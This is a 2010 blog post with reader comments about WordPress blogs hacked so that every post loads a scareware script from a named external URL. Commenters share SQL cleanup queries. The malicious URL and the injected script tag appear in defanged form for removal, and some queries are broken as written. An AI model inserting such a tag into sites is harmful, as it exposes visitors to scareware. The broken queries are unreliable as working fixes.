Godaddy wordpress hack
My blogs (and many other blogs on the internet) have once again been hacked. This time I don’t know an easy fix. Every blog post has had a script which loads the script here: http://acrossuniverseitbenet.com/js.php?kk=10 The script tries to scare the viewer into purchasing fake virus removal software. There is no real virus so if such a script loads for you, exit out of your browser ASAP before a bunch of crap gets downloaded to your hard drive.
If you know how to remove a line of script from every blog post in a wordpress blog, please let me know how by commenting.
December 22nd, 2010 at 6:17 pm
update table1 set col1 = replace(col1,’badText’);
December 22nd, 2010 at 7:43 pm
I’m still trying to find where the code resides that’s inserting the script hack into my QuickPress and New Page pages. It seems it might be somewhere in one of the options stored on the MySQL install, but I’m having trouble locating it.
Manual removal seems to be the only thing that works right now.
December 22nd, 2010 at 8:08 pm
I managed to clean the malware completely out (as per Rob’s suggestion) with the following query:
UPDATE `wp_posts` SET post_content = replace(post_content,””,””);
December 22nd, 2010 at 8:11 pm
(Be sure to put the full ‘≤script src=\”http://acrossuniverseitbenet.com/js.php?kk=10\”≥≤/script≥’ [replacing ≤ and ≥ respectively] in the first part of the replace function. The comment system scrubbed it out from my example, despite my attempts to render it in all displayed characters.)
December 23rd, 2010 at 8:13 am
GoDaddy fixed it. Thanks GoDaddy!